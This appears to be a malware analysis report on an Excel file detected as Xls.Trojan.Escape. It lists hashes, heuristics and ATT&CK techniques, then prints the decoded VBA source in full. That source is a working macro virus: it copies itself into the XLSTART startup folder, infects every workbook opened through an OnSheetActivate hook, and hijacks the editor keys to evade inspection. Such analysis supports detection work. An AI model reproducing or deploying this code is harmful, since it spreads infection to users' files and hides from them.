Xls.Trojan.Escape — Office (OLE) malware analysis

Static analysis result for SHA-256 1b5a54f99ab55d0b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2014-07-23 08:08:33 Authoring application: Microsoft Excel First seen: 2014-12-09
MD5: 225179fbe21d60281428e7e002d8625c SHA-1: 0022404a6b39859f83a07e2e592b424ff6ffa148 SHA-256: 1b5a54f99ab55d0b554d0fb0761664ea2c29128b2d062d9a32ac08251bdbf6c6
268 Risk Score

Malware Insights

Xls.Trojan.Escape · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1564.004 Masquerading

The sample is a macro-enabled Excel file that exhibits malicious behavior. It copies itself to the Excel startup folder ('StartUp.xls') to achieve persistence and hooks keyboard shortcuts like F11 to evade detection. The ClamAV detection of 'Xls.Trojan.Escape' further supports its classification.

Heuristics 6

  • ClamAV: Xls.Trojan.Escape-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Escape-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = "StartUp.xls!ycop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
      Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3392 bytes
SHA-256: b019f37601b16e1432a9eeece8a76bc9e59af4e13fbd4e094a1f932c0bc1b27a
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
    Dim i As Single
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.Calculation = xlCalculationManual
'  On Error Resume Next
'  On Error GoTo 0
    Worksheets("barcode").ComboBox2.Clear
    Worksheets("barcode").ComboBox2.AddItem "MDM20"
    Worksheets("barcode").ComboBox2.AddItem "MDQ70"
    Worksheets("barcode").ComboBox2.AddItem "MDM21"
    Worksheets("barcode").ComboBox2.AddItem "MDM20Z"
    Worksheets("barcode").ComboBox2.AddItem "MDT10"
    Worksheets("barcode").ComboBox2.AddItem "MDS90"
    Worksheets("barcode").ComboBox1.Clear
    Worksheets("barcode").ComboBox1.AddItem "新LOT"
'    Worksheets("barcode").ComboBox3.Clear
    
'    For i = 2 To Worksheets("sequence").[a65536].End(xlUp).Row
'    Worksheets("barcode").ComboBox3.AddItem Worksheets("sequence").Cells(i, 1)
'    Next i
    
    Dim MyArray(280, 3)


     '第一个列表框包含三个数据列
    Worksheets("barcode").ListBox1.ColumnCount = 3
     '第二个框包含六个数据列
    For i = 0 To 280
    MyArray(i, 0) = Worksheets("全工程（ZPT）").Cells(i + 4, 8)
    MyArray(i, 1) = Worksheets("全工程（ZPT）").Cells(i + 4, 6)
    MyArray(i, 2) = Worksheets("全工程（ZPT）").Cells(i + 4, 7)
    Next i


'     MyArray = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

'     MyArray = Worksheets("全工程（ZPT）").Range("f4:h9")

    Worksheets("barcode").ListBox1.List() = MyArray
'    ListBox2.Column() = MyArray
    
Rem  arr = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

Rem ListBox1.AddItem Worksheets("全工程（ZPT）").Cells(i, 6)
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.